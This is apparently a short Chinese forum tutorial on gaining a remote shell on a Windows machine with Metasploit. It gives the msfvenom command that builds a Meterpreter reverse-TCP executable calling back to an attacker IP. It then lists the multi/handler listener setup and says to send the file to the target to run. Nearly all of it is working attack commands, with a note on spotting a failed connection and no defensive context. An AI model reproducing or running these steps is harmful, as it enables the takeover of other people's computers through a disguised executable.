在攻擊服務器上生成鏈接軟件,LHOST爲攻擊機IP地址
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe
打開msfconsole控制檯
將軟件發給客戶機上運行,此時kali上會有鏈接提示
[mw_shl_code=applescript,true]root@qzwhost:~# msfconsole
msfconsole > use exploit/multi/handler
msfconsole (exploit/multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msfconsole (exploit/multi/handler) > set LHOST <IP>
msfconsole (exploit/multi/handler) > set LPORT 443
msfconsole (exploit/multi/handler) > exploit[/mw_shl_code]
此時鏈接創建成功,輸入shell測試
出現Windows命令行則說明攻擊成功
若是提醒以下,輸入shell顯示meterpreter > shell [-] Unknown command: shell.,說明連接未創建成功
meterpreter > shell
[-] Unknown command: shell.shell